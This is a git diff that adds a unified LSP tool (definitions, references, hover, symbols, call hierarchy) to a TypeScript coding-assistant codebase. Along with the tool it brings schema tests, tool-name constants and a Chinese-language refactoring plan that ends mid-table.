expect(itemDef?.properties).toHaveProperty('range'); + expect(itemDef?.properties).toHaveProperty('selectionRange'); + }); + + it('supports rawKind for SymbolKind numeric preservation', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + definitions?: { + LspCallHierarchyItem?: { + properties?: { + rawKind?: { type?: string }; + }; + }; + }; + }; + const itemDef = schema.definitions?.LspCallHierarchyItem; + expect(itemDef?.properties?.rawKind?.type).toBe('number'); + }); + + describe('schema definitions deep validation', () => { + it('has LspPosition definition with correct structure', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + definitions?: { + LspPosition?: { + type?: string; + properties?: { + line?: { type?: string }; + character?: { type?: string }; + }; + required?: string[]; + }; + }; + }; + const posDef = schema.definitions?.LspPosition; + expect(posDef).toBeDefined(); + expect(posDef?.type).toBe('object'); + expect(posDef?.properties?.line?.type).toBe('number'); + expect(posDef?.properties?.character?.type).toBe('number'); + expect(posDef?.required).toEqual(['line', 'character']); + }); + + it('has LspRange definition with correct structure', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + definitions?: { + LspRange?: { + type?: string; + properties?: { + start?: { $ref?: string }; + end?: { $ref?: string }; + }; + required?: string[]; + }; + }; + }; + const rangeDef = schema.definitions?.LspRange; + expect(rangeDef).toBeDefined(); + expect(rangeDef?.type).toBe('object'); + expect(rangeDef?.properties?.start?.$ref).toBe( + '#/definitions/LspPosition', + ); + expect(rangeDef?.properties?.end?.$ref).toBe( + '#/definitions/LspPosition', + ); + expect(rangeDef?.required).toEqual(['start', 'end']); + }); + + it('callHierarchyItem uses $ref for range fields', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + properties?: { + callHierarchyItem?: { $ref?: string }; + }; + definitions?: { + LspCallHierarchyItem?: { + properties?: { + range?: { $ref?: string }; + selectionRange?: { $ref?: string }; + }; + }; + }; + }; + // callHierarchyItem property should reference the definition + expect(schema.properties?.callHierarchyItem?.$ref).toBe( + '#/definitions/LspCallHierarchyItem', + ); + // range and selectionRange should use LspRange $ref + const itemDef = schema.definitions?.LspCallHierarchyItem; + expect(itemDef?.properties?.range?.$ref).toBe('#/definitions/LspRange'); + expect(itemDef?.properties?.selectionRange?.$ref).toBe( + '#/definitions/LspRange', + ); + }); + + it('all definitions are present and accounted for', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + definitions?: Record; + }; + const definitionNames = Object.keys(schema.definitions ?? {}); + // Should have exactly these definitions + expect(definitionNames.sort()).toEqual([ + 'LspCallHierarchyItem', + 'LspPosition', + 'LspRange', + ]); + }); + }); + }); + + describe('invocation description', () => { + it('describes goToDefinition correctly', () => { + const tool = createTool(); + const invocation = tool.build({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: 10, + character: 5, + }); + // Uses formatted label "go-to-definition" + expect(invocation.getDescription()).toContain('go-to-definition'); + expect(invocation.getDescription()).toContain('src/app.ts:10:5'); + }); + + it('describes workspaceSymbol correctly', () => { + const tool = createTool(); + const invocation = tool.build({ + operation: 'workspaceSymbol', + query: 'Widget', + }); + // Uses formatted label "workspace symbol search" + expect(invocation.getDescription()).toContain('workspace symbol search'); + expect(invocation.getDescription()).toContain('Widget'); + }); + + it('describes incomingCalls correctly', () => { + const tool = createTool(); + const invocation = tool.build({ + operation: 'incomingCalls', + callHierarchyItem: { + name: 'testFunc', + uri: 'file:///test.ts', + range: { + start: { line: 0, character: 0 }, + end: { line: 0, character: 10 }, + }, + selectionRange: { + start: { line: 0, character: 0 }, + end: { line: 0, character: 10 }, + }, + }, + }); + // Uses formatted label "incoming calls" + expect(invocation.getDescription()).toContain('incoming calls'); + expect(invocation.getDescription()).toContain('testFunc'); + }); + }); +}); diff --git a/packages/core/src/tools/lsp.ts b/packages/core/src/tools/lsp.ts new file mode 100644 index 000000000..41487830e --- /dev/null +++ b/packages/core/src/tools/lsp.ts @@ -0,0 +1,960 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import path from 'node:path'; +import { fileURLToPath, pathToFileURL } from 'node:url'; +import type { ToolInvocation, ToolResult } from './tools.js'; +import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; +import { ToolDisplayNames, ToolNames } from './tool-names.js'; +import type { Config } from '../config/config.js'; +import type { + LspCallHierarchyIncomingCall, + LspCallHierarchyItem, + LspCallHierarchyOutgoingCall, + LspClient, + LspDefinition, + LspLocation, + LspRange, + LspReference, + LspSymbolInformation, +} from '../lsp/types.js'; + +/** + * Supported LSP operations. + */ +export type LspOperation = + | 'goToDefinition' + | 'findReferences' + | 'hover' + | 'documentSymbol' + | 'workspaceSymbol' + | 'goToImplementation' + | 'prepareCallHierarchy' + | 'incomingCalls' + | 'outgoingCalls'; + +/** + * Parameters for the unified LSP tool. + */ +export interface LspToolParams { + /** Operation to perform. */ + operation: LspOperation; + /** File path (absolute or workspace-relative). */ + filePath?: string; + /** 1-based line number when targeting a specific file location. */ + line?: number; + /** 1-based character/column number when targeting a specific file location. */ + character?: number; + /** Whether to include the declaration in reference results. */ + includeDeclaration?: boolean; + /** Query string for workspace symbol search. */ + query?: string; + /** Call hierarchy item from a previous call hierarchy operation. */ + callHierarchyItem?: LspCallHierarchyItem; + /** Optional server name override. */ + serverName?: string; + /** Optional maximum number of results. */ + limit?: number; +} + +type ResolvedTarget = + | { + location: LspLocation; + description: string; + } + | { error: string }; + +/** Operations that require filePath and line. */ +const LOCATION_REQUIRED_OPERATIONS = new Set([ + 'goToDefinition', + 'findReferences', + 'hover', + 'goToImplementation', + 'prepareCallHierarchy', +]); + +/** Operations that only require filePath. */ +const FILE_REQUIRED_OPERATIONS = new Set(['documentSymbol']); + +/** Operations that require query. */ +const QUERY_REQUIRED_OPERATIONS = new Set(['workspaceSymbol']); + +/** Operations that require callHierarchyItem. */ +const ITEM_REQUIRED_OPERATIONS = new Set([ + 'incomingCalls', + 'outgoingCalls', +]); + +class LspToolInvocation extends BaseToolInvocation { + constructor( + private readonly config: Config, + params: LspToolParams, + ) { + super(params); + } + + getDescription(): string { + const operationLabel = this.getOperationLabel(); + if (this.params.operation === 'workspaceSymbol') { + return `LSP ${operationLabel} for "${this.params.query ?? ''}"`; + } + if (this.params.operation === 'documentSymbol') { + return this.params.filePath + ? `LSP ${operationLabel} for ${this.params.filePath}` + : `LSP ${operationLabel}`; + } + if ( + this.params.operation === 'incomingCalls' || + this.params.operation === 'outgoingCalls' + ) { + return `LSP ${operationLabel} for ${this.describeCallHierarchyItemShort()}`; + } + if (this.params.filePath && this.params.line !== undefined) { + return `LSP ${operationLabel} at ${this.params.filePath}:${this.params.line}:${this.params.character ?? 1}`; + } + if (this.params.filePath) { + return `LSP ${operationLabel} for ${this.params.filePath}`; + } + return `LSP ${operationLabel}`; + } + + async execute(_signal: AbortSignal): Promise { + const client = this.config.getLspClient(); + if (!client || !this.config.isLspEnabled()) { + const message = `LSP ${this.getOperationLabel()} is unavailable (LSP disabled or not initialized).`; + return { llmContent: message, returnDisplay: message }; + } + + switch (this.params.operation) { + case 'goToDefinition': + return this.executeDefinitions(client); + case 'findReferences': + return this.executeReferences(client); + case 'hover': + return this.executeHover(client); + case 'documentSymbol': + return this.executeDocumentSymbols(client); + case 'workspaceSymbol': + return this.executeWorkspaceSymbols(client); + case 'goToImplementation': + return this.executeImplementations(client); + case 'prepareCallHierarchy': + return this.executePrepareCallHierarchy(client); + case 'incomingCalls': + return this.executeIncomingCalls(client); + case 'outgoingCalls': + return this.executeOutgoingCalls(client); + default: { + const message = `Unsupported LSP operation: ${this.params.operation}`; + return { llmContent: message, returnDisplay: message }; + } + } + } + + private async executeDefinitions(client: LspClient): Promise { + const target = this.resolveLocationTarget(); + if ('error' in target) { + return { llmContent: target.error, returnDisplay: target.error }; + } + + const limit = this.params.limit ?? 20; + let definitions: LspDefinition[] = []; + try { + definitions = await client.definitions( + target.location, + this.params.serverName, + limit, + ); + } catch (error) { + const message = `LSP go-to-definition failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!definitions.length) { + const message = `No definitions found for ${target.description}.`; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const lines = definitions + .slice(0, limit) + .map( + (definition, index) => + `${index + 1}. ${this.formatLocationWithServer(definition, workspaceRoot)}`, + ); + + const heading = `Definitions for ${target.description}:`; + return { + llmContent: [heading, ...lines].join('\n'), + returnDisplay: lines.join('\n'), + }; + } + + private async executeImplementations(client: LspClient): Promise { + const target = this.resolveLocationTarget(); + if ('error' in target) { + return { llmContent: target.error, returnDisplay: target.error }; + } + + const limit = this.params.limit ?? 20; + let implementations: LspDefinition[] = []; + try { + implementations = await client.implementations( + target.location, + this.params.serverName, + limit, + ); + } catch (error) { + const message = `LSP go-to-implementation failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!implementations.length) { + const message = `No implementations found for ${target.description}.`; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const lines = implementations + .slice(0, limit) + .map( + (implementation, index) => + `${index + 1}. ${this.formatLocationWithServer(implementation, workspaceRoot)}`, + ); + + const heading = `Implementations for ${target.description}:`; + return { + llmContent: [heading, ...lines].join('\n'), + returnDisplay: lines.join('\n'), + }; + } + + private async executeReferences(client: LspClient): Promise { + const target = this.resolveLocationTarget(); + if ('error' in target) { + return { llmContent: target.error, returnDisplay: target.error }; + } + + const limit = this.params.limit ?? 50; + let references: LspReference[] = []; + try { + references = await client.references( + target.location, + this.params.serverName, + this.params.includeDeclaration ?? false, + limit, + ); + } catch (error) { + const message = `LSP find-references failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!references.length) { + const message = `No references found for ${target.description}.`; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const lines = references + .slice(0, limit) + .map( + (reference, index) => + `${index + 1}. ${this.formatLocationWithServer(reference, workspaceRoot)}`, + ); + + const heading = `References for ${target.description}:`; + return { + llmContent: [heading, ...lines].join('\n'), + returnDisplay: lines.join('\n'), + }; + } + + private async executeHover(client: LspClient): Promise { + const target = this.resolveLocationTarget(); + if ('error' in target) { + return { llmContent: target.error, returnDisplay: target.error }; + } + + let hoverText = ''; + try { + const result = await client.hover( + target.location, + this.params.serverName, + ); + if (result) { + hoverText = result.contents ?? ''; + } + } catch (error) { + const message = `LSP hover failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!hoverText || hoverText.trim().length === 0) { + const message = `No hover information found for ${target.description}.`; + return { llmContent: message, returnDisplay: message }; + } + + const heading = `Hover for ${target.description}:`; + const content = hoverText.trim(); + return { + llmContent: `${heading}\n${content}`, + returnDisplay: content, + }; + } + + private async executeDocumentSymbols(client: LspClient): Promise { + const workspaceRoot = this.config.getProjectRoot(); + const filePath = this.params.filePath ?? ''; + const uri = this.resolveUri(filePath, workspaceRoot); + if (!uri) { + const message = 'A valid filePath is required for document symbols.'; + return { llmContent: message, returnDisplay: message }; + } + + const limit = this.params.limit ?? 50; + let symbols: LspSymbolInformation[] = []; + try { + symbols = await client.documentSymbols( + uri, + this.params.serverName, + limit, + ); + } catch (error) { + const message = `LSP document symbols failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!symbols.length) { + const fileLabel = this.formatUriForDisplay(uri, workspaceRoot); + const message = `No document symbols found for ${fileLabel}.`; + return { llmContent: message, returnDisplay: message }; + } + + const lines = symbols.slice(0, limit).map((symbol, index) => { + const location = this.formatLocationWithoutServer( + symbol.location, + workspaceRoot, + ); + const serverSuffix = symbol.serverName ? ` [${symbol.serverName}]` : ''; + const kind = symbol.kind ? ` (${symbol.kind})` : ''; + const container = symbol.containerName + ? ` in ${symbol.containerName}` + : ''; + return `${index + 1}. ${symbol.name}${kind}${container} - ${location}${serverSuffix}`; + }); + + const fileLabel = this.formatUriForDisplay(uri, workspaceRoot); + const heading = `Document symbols for ${fileLabel}:`; + return { + llmContent: [heading, ...lines].join('\n'), + returnDisplay: lines.join('\n'), + }; + } + + private async executeWorkspaceSymbols( + client: LspClient, + ): Promise { + const limit = this.params.limit ?? 20; + const query = this.params.query ?? ''; + let symbols: LspSymbolInformation[] = []; + try { + symbols = await client.workspaceSymbols(query, limit); + } catch (error) { + const message = `LSP workspace symbol search failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!symbols.length) { + const message = `No symbols found for query "${query}".`; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const lines = symbols.slice(0, limit).map((symbol, index) => { + const location = this.formatLocationWithoutServer( + symbol.location, + workspaceRoot, + ); + const serverSuffix = symbol.serverName ? ` [${symbol.serverName}]` : ''; + const kind = symbol.kind ? ` (${symbol.kind})` : ''; + const container = symbol.containerName + ? ` in ${symbol.containerName}` + : ''; + return `${index + 1}. ${symbol.name}${kind}${container} - ${location}${serverSuffix}`; + }); + + const heading = `Found ${Math.min(symbols.length, limit)} of ${ + symbols.length + } symbols for query "${query}":`; + + // Also fetch references for the top match to provide additional context. + let referenceSection = ''; + const topSymbol = symbols[0]; + if (topSymbol) { + try { + const referenceLimit = Math.min(20, Math.max(limit, 5)); + const references = await client.references( + topSymbol.location, + topSymbol.serverName, + false, + referenceLimit, + ); + if (references.length > 0) { + const refLines = references.map((ref, index) => { + const location = this.formatLocationWithoutServer( + ref, + workspaceRoot, + ); + const serverSuffix = ref.serverName ? ` [${ref.serverName}]` : ''; + return `${index + 1}. ${location}${serverSuffix}`; + }); + referenceSection = [ + '', + `References for top match (${topSymbol.name}):`, + ...refLines, + ].join('\n'); + } + } catch (error) { + referenceSection = `\nReferences lookup failed: ${ + (error as Error)?.message || String(error) + }`; + } + } + + const llmParts = referenceSection + ? [heading, ...lines, referenceSection] + : [heading, ...lines]; + const displayParts = referenceSection + ? [...lines, referenceSection] + : [...lines]; + + return { + llmContent: llmParts.join('\n'), + returnDisplay: displayParts.join('\n'), + }; + } + + private async executePrepareCallHierarchy( + client: LspClient, + ): Promise { + const target = this.resolveLocationTarget(); + if ('error' in target) { + return { llmContent: target.error, returnDisplay: target.error }; + } + + const limit = this.params.limit ?? 20; + let items: LspCallHierarchyItem[] = []; + try { + items = await client.prepareCallHierarchy( + target.location, + this.params.serverName, + limit, + ); + } catch (error) { + const message = `LSP call hierarchy prepare failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!items.length) { + const message = `No call hierarchy items found for ${target.description}.`; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const slicedItems = items.slice(0, limit); + const lines = slicedItems.map((item, index) => + this.formatCallHierarchyItemLine(item, index, workspaceRoot), + ); + + const heading = `Call hierarchy items for ${target.description}:`; + const jsonSection = this.formatJsonSection( + 'Call hierarchy items (JSON)', + slicedItems, + ); + return { + llmContent: [heading, ...lines].join('\n') + jsonSection, + returnDisplay: lines.join('\n'), + }; + } + + private async executeIncomingCalls(client: LspClient): Promise { + const item = this.params.callHierarchyItem; + if (!item) { + const message = 'callHierarchyItem is required for incomingCalls.'; + return { llmContent: message, returnDisplay: message }; + } + + const limit = this.params.limit ?? 20; + const serverName = this.params.serverName ?? item.serverName; + let calls: LspCallHierarchyIncomingCall[] = []; + try { + calls = await client.incomingCalls(item, serverName, limit); + } catch (error) { + const message = `LSP incoming calls failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!calls.length) { + const message = `No incoming calls found for ${this.describeCallHierarchyItemFull( + item, + )}.`; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const slicedCalls = calls.slice(0, limit); + const lines = slicedCalls.map((call, index) => { + const targetItem = call.from; + const location = this.formatLocationWithServer( + { + uri: targetItem.uri, + range: targetItem.selectionRange, + serverName: targetItem.serverName, + }, + workspaceRoot, + ); + const kind = targetItem.kind ? ` (${targetItem.kind})` : ''; + const detail = targetItem.detail ? ` ${targetItem.detail}` : ''; + const rangeSuffix = this.formatCallRanges(call.fromRanges); + return `${index + 1}. ${targetItem.name}${kind}${detail} - ${location}${rangeSuffix}`; + }); + + const heading = `Incoming calls for ${this.describeCallHierarchyItemFull( + item, + )}:`; + const jsonSection = this.formatJsonSection( + 'Incoming calls (JSON)', + slicedCalls, + ); + return { + llmContent: [heading, ...lines].join('\n') + jsonSection, + returnDisplay: lines.join('\n'), + }; + } + + private async executeOutgoingCalls(client: LspClient): Promise { + const item = this.params.callHierarchyItem; + if (!item) { + const message = 'callHierarchyItem is required for outgoingCalls.'; + return { llmContent: message, returnDisplay: message }; + } + + const limit = this.params.limit ?? 20; + const serverName = this.params.serverName ?? item.serverName; + let calls: LspCallHierarchyOutgoingCall[] = []; + try { + calls = await client.outgoingCalls(item, serverName, limit); + } catch (error) { + const message = `LSP outgoing calls failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!calls.length) { + const message = `No outgoing calls found for ${this.describeCallHierarchyItemFull( + item, + )}.`; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const slicedCalls = calls.slice(0, limit); + const lines = slicedCalls.map((call, index) => { + const targetItem = call.to; + const location = this.formatLocationWithServer( + { + uri: targetItem.uri, + range: targetItem.selectionRange, + serverName: targetItem.serverName, + }, + workspaceRoot, + ); + const kind = targetItem.kind ? ` (${targetItem.kind})` : ''; + const detail = targetItem.detail ? ` ${targetItem.detail}` : ''; + const rangeSuffix = this.formatCallRanges(call.fromRanges); + return `${index + 1}. ${targetItem.name}${kind}${detail} - ${location}${rangeSuffix}`; + }); + + const heading = `Outgoing calls for ${this.describeCallHierarchyItemFull( + item, + )}:`; + const jsonSection = this.formatJsonSection( + 'Outgoing calls (JSON)', + slicedCalls, + ); + return { + llmContent: [heading, ...lines].join('\n') + jsonSection, + returnDisplay: lines.join('\n'), + }; + } + + private resolveLocationTarget(): ResolvedTarget { + const filePath = this.params.filePath; + if (!filePath) { + return { + error: 'filePath is required for this operation.', + }; + } + if (typeof this.params.line !== 'number') { + return { + error: 'line is required for this operation.', + }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const uri = this.resolveUri(filePath, workspaceRoot); + if (!uri) { + return { + error: 'A valid filePath is required when specifying a line/character.', + }; + } + + const position = { + line: Math.max(0, Math.floor(this.params.line - 1)), + character: Math.max(0, Math.floor((this.params.character ?? 1) - 1)), + }; + const location: LspLocation = { + uri, + range: { start: position, end: position }, + }; + const description = this.formatLocationWithServer( + { ...location, serverName: this.params.serverName }, + workspaceRoot, + ); + return { + location, + description, + }; + } + + private resolveUri(filePath: string, workspaceRoot: string): string | null { + if (!filePath) { + return null; + } + if (filePath.startsWith('file://') || filePath.includes('://')) { + return filePath; + } + const absolutePath = path.isAbsolute(filePath) + ? filePath + : path.resolve(workspaceRoot, filePath); + return pathToFileURL(absolutePath).toString(); + } + + private formatLocationWithServer( + location: LspLocation & { serverName?: string }, + workspaceRoot: string, + ): string { + const start = location.range.start; + let filePath = location.uri; + + if (filePath.startsWith('file://')) { + filePath = fileURLToPath(filePath); + filePath = path.relative(workspaceRoot, filePath) || '.'; + } + + const serverSuffix = + location.serverName && location.serverName !== '' + ? ` [${location.serverName}]` + : ''; + + return `${filePath}:${(start.line ?? 0) + 1}:${(start.character ?? 0) + 1}${serverSuffix}`; + } + + private formatLocationWithoutServer( + location: LspLocation, + workspaceRoot: string, + ): string { + const { uri, range } = location; + let filePath = uri; + if (uri.startsWith('file://')) { + filePath = fileURLToPath(uri); + filePath = path.relative(workspaceRoot, filePath) || '.'; + } + const line = (range.start.line ?? 0) + 1; + const character = (range.start.character ?? 0) + 1; + return `${filePath}:${line}:${character}`; + } + + private formatCallHierarchyItemLine( + item: LspCallHierarchyItem, + index: number, + workspaceRoot: string, + ): string { + const location = this.formatLocationWithServer( + { + uri: item.uri, + range: item.selectionRange, + serverName: item.serverName, + }, + workspaceRoot, + ); + const kind = item.kind ? ` (${item.kind})` : ''; + const detail = item.detail ? ` ${item.detail}` : ''; + return `${index + 1}. ${item.name}${kind}${detail} - ${location}`; + } + + private formatCallRanges(ranges: LspRange[]): string { + if (!ranges.length) { + return ''; + } + const formatted = ranges.map((range) => this.formatPosition(range.start)); + const maxShown = 3; + const shown = formatted.slice(0, maxShown); + const extra = + formatted.length > maxShown + ? `, +${formatted.length - maxShown} more` + : ''; + return ` (calls at ${shown.join(', ')}${extra})`; + } + + private formatPosition(position: LspRange['start']): string { + return `${(position.line ?? 0) + 1}:${(position.character ?? 0) + 1}`; + } + + private formatUriForDisplay(uri: string, workspaceRoot: string): string { + let filePath = uri; + if (uri.startsWith('file://')) { + filePath = fileURLToPath(uri); + } + if (path.isAbsolute(filePath)) { + return path.relative(workspaceRoot, filePath) || '.'; + } + return filePath; + } + + private formatJsonSection(label: string, data: unknown): string { + return `\n\n${label}:\n${JSON.stringify(data, null, 2)}`; + } + + private describeCallHierarchyItemShort(): string { + const item = this.params.callHierarchyItem; + if (!item) { + return 'call hierarchy item'; + } + return item.name || 'call hierarchy item'; + } + + private describeCallHierarchyItemFull(item: LspCallHierarchyItem): string { + const workspaceRoot = this.config.getProjectRoot(); + const location = this.formatLocationWithServer( + { + uri: item.uri, + range: item.selectionRange, + serverName: item.serverName, + }, + workspaceRoot, + ); + return `${item.name} at ${location}`; + } + + private getOperationLabel(): string { + switch (this.params.operation) { + case 'goToDefinition': + return 'go-to-definition'; + case 'findReferences': + return 'find-references'; + case 'hover': + return 'hover'; + case 'documentSymbol': + return 'document symbols'; + case 'workspaceSymbol': + return 'workspace symbol search'; + case 'goToImplementation': + return 'go-to-implementation'; + case 'prepareCallHierarchy': + return 'prepare call hierarchy'; + case 'incomingCalls': + return 'incoming calls'; + case 'outgoingCalls': + return 'outgoing calls'; + default: + return this.params.operation; + } + } +} + +/** + * Unified LSP tool that supports multiple operations: + * - goToDefinition: Find where a symbol is defined + * - findReferences: Find all references to a symbol + * - hover: Get hover information (documentation, type info) + * - documentSymbol: Get all symbols in a document + * - workspaceSymbol: Search for symbols across the workspace + * - goToImplementation: Find implementations of an interface or abstract method + * - prepareCallHierarchy: Get call hierarchy item at a position + * - incomingCalls: Find all functions that call the given function + * - outgoingCalls: Find all functions called by the given function + */ +export class LspTool extends BaseDeclarativeTool { + static readonly Name = ToolNames.LSP; + + constructor(private readonly config: Config) { + super( + LspTool.Name, + ToolDisplayNames.LSP, + 'Unified LSP operations for definitions, references, hover, symbols, and call hierarchy.', + Kind.Other, + { + type: 'object', + properties: { + operation: { + type: 'string', + description: 'LSP operation to execute.', + enum: [ + 'goToDefinition', + 'findReferences', + 'hover', + 'documentSymbol', + 'workspaceSymbol', + 'goToImplementation', + 'prepareCallHierarchy', + 'incomingCalls', + 'outgoingCalls', + ], + }, + filePath: { + type: 'string', + description: 'File path (absolute or workspace-relative).', + }, + line: { + type: 'number', + description: '1-based line number for the target location.', + }, + character: { + type: 'number', + description: + '1-based character/column number for the target location.', + }, + includeDeclaration: { + type: 'boolean', + description: + 'Include the declaration itself when looking up references.', + }, + query: { + type: 'string', + description: 'Symbol query for workspace symbol search.', + }, + callHierarchyItem: { + $ref: '#/definitions/LspCallHierarchyItem', + description: 'Call hierarchy item for incoming/outgoing calls.', + }, + serverName: { + type: 'string', + description: 'Optional LSP server name to target.', + }, + limit: { + type: 'number', + description: 'Optional maximum number of results to return.', + }, + }, + required: ['operation'], + definitions: { + LspPosition: { + type: 'object', + properties: { + line: { type: 'number' }, + character: { type: 'number' }, + }, + required: ['line', 'character'], + }, + LspRange: { + type: 'object', + properties: { + start: { $ref: '#/definitions/LspPosition' }, + end: { $ref: '#/definitions/LspPosition' }, + }, + required: ['start', 'end'], + }, + LspCallHierarchyItem: { + type: 'object', + properties: { + name: { type: 'string' }, + kind: { type: 'string' }, + rawKind: { type: 'number' }, + detail: { type: 'string' }, + uri: { type: 'string' }, + range: { $ref: '#/definitions/LspRange' }, + selectionRange: { $ref: '#/definitions/LspRange' }, + data: {}, + serverName: { type: 'string' }, + }, + required: ['name', 'uri', 'range', 'selectionRange'], + }, + }, + }, + false, + false, + ); + } + + protected override validateToolParamValues( + params: LspToolParams, + ): string | null { + const operation = params.operation; + + if (LOCATION_REQUIRED_OPERATIONS.has(operation)) { + if (!params.filePath || params.filePath.trim() === '') { + return `filePath is required for ${operation}.`; + } + if (typeof params.line !== 'number') { + return `line is required for ${operation}.`; + } + } + + if (FILE_REQUIRED_OPERATIONS.has(operation)) { + if (!params.filePath || params.filePath.trim() === '') { + return `filePath is required for ${operation}.`; + } + } + + if (QUERY_REQUIRED_OPERATIONS.has(operation)) { + if (!params.query || params.query.trim() === '') { + return `query is required for ${operation}.`; + } + } + + if (ITEM_REQUIRED_OPERATIONS.has(operation)) { + if (!params.callHierarchyItem) { + return `callHierarchyItem is required for ${operation}.`; + } + } + + if (params.line !== undefined && params.line < 1) { + return 'line must be a positive number.'; + } + if (params.character !== undefined && params.character < 1) { + return 'character must be a positive number.'; + } + if (params.limit !== undefined && params.limit <= 0) { + return 'limit must be a positive number.'; + } + + return null; + } + + protected createInvocation( + params: LspToolParams, + ): ToolInvocation { + return new LspToolInvocation(this.config, params); + } +} diff --git a/packages/core/src/tools/tool-names.ts b/packages/core/src/tools/tool-names.ts index 1e0600b0a..d9a5ef772 100644 --- a/packages/core/src/tools/tool-names.ts +++ b/packages/core/src/tools/tool-names.ts @@ -28,6 +28,8 @@ export const ToolNames = { LSP_WORKSPACE_SYMBOL: 'lsp_workspace_symbol', LSP_GO_TO_DEFINITION: 'lsp_go_to_definition', LSP_FIND_REFERENCES: 'lsp_find_references', + /** Unified LSP tool supporting all LSP operations. */ + LSP: 'lsp', } as const; /** @@ -54,6 +56,8 @@ export const ToolDisplayNames = { LSP_WORKSPACE_SYMBOL: 'LspWorkspaceSymbol', LSP_GO_TO_DEFINITION: 'LspGoToDefinition', LSP_FIND_REFERENCES: 'LspFindReferences', + /** Unified LSP tool display name. */ + LSP: 'Lsp', } as const; // Migration from old tool names to new tool names diff --git a/packages/vscode-ide-companion/LSP_REFACTORING_PLAN.md b/packages/vscode-ide-companion/LSP_REFACTORING_PLAN.md new file mode 100644 index 000000000..e3660926e --- /dev/null +++ b/packages/vscode-ide-companion/LSP_REFACTORING_PLAN.md @@ -0,0 +1,255 @@ +# LSP 工具重构计划 + +## 背景 + +对比 Claude Code 的 LSP tool 定义和当前实现，发现以下关键差异： + +### Claude Code 的设计（目标） + +```json +{ + "name": "LSP", + "operations": [ + "goToDefinition", + "findReferences", + "hover", + "documentSymbol", + "workspaceSymbol", + "goToImplementation", + "prepareCallHierarchy", + "incomingCalls", + "outgoingCalls" + ], + "required_params": ["operation", "filePath", "line", "character"] +} +``` + +### 当前实现 + +- **分散的 3 个工具**：`lsp_go_to_definition`, `lsp_find_references`, `lsp_workspace_symbol` +- **支持 3 个操作**：goToDefinition, findReferences, workspaceSymbol +- **缺少 6 个操作**：hover, documentSymbol, goToImplementation, prepareCallHierarchy, incomingCalls, outgoingCalls + +--- + +## 重构目标 + +1. **统一工具设计**：将 3 个分散的工具合并为 1 个统一的 `LSP` 工具 +2. **扩展操作支持**：添加缺失的 6 个 LSP 操作 +3. **简化参数设计**：统一使用 operation + filePath + line + character 方式 +4. **保持向后兼容**：旧工具名称继续支持 + +--- + +## 实施步骤 + +### Step 1: 扩展类型定义 + +**文件**: `packages/core/src/lsp/types.ts` + +新增类型： + +```typescript +// Hover 结果 +interface LspHoverResult { + contents: string | { language: string; value: string }[]; + range?: LspRange; +} + +// Call Hierarchy 类型 +interface LspCallHierarchyItem { + name: string; + kind: number; + uri: string; + range: LspRange; + selectionRange: LspRange; + detail?: string; + data?: unknown; + serverName?: string; +} + +interface LspCallHierarchyIncomingCall { + from: LspCallHierarchyItem; + fromRanges: LspRange[]; +} + +interface LspCallHierarchyOutgoingCall { + to: LspCallHierarchyItem; + fromRanges: LspRange[]; +} +``` + +扩展 LspClient 接口： + +```typescript +interface LspClient { + // 现有方法 + workspaceSymbols(query, limit): Promise; + definitions(location, serverName, limit): Promise; + references( + location, + serverName, + includeDeclaration, + limit, + ): Promise; + + // 新增方法 + hover(location, serverName): Promise; + documentSymbols(uri, serverName, limit): Promise; + implementations(location, serverName, limit): Promise; + prepareCallHierarchy(location, serverName): Promise; + incomingCalls( + item, + serverName, + limit, + ): Promise; + outgoingCalls( + item, + serverName, + limit, + ): Promise; +} +``` + +### Step 2: 创建统一 LSP 工具 + +**新文件**: `packages/core/src/tools/lsp.ts` + +参数设计（采用灵活的操作特定验证）： + +```typescript +interface LspToolParams { + operation: LspOperation; // 必填 + filePath?: string; // 位置类操作必填 + line?: number; // 精确位置操作必填 (1-based) + character?: number; // 可选 (1-based) + query?: string; // workspaceSymbol 必填 + callHierarchyItem?: object; // incomingCalls/outgoingCalls 必填 + serverName?: string; // 可选 + limit?: number; // 可选 + includeDeclaration?: boolean; // findReferences 可选 +} + +type LspOperation = + | 'goToDefinition' + | 'findReferences' + | 'hover' + | 'documentSymbol' + | 'workspaceSymbol' + | 'goToImplementation' + | 'prepareCallHierarchy' + | 'incomingCalls' + | 'outgoingCalls'; +``` + +各操作参数要求： +| 操作 | filePath | line | character | query | callHierarchyItem | +|------|----------|------|-----------|-------|-------------------| +| goToDefinition | 必填 | 必填 | 可选 | - | - | +| findReferences | 必填 | 必填 | 可选 | - | - | +| hover | 必填 | 必填 | 可选 | - | - | 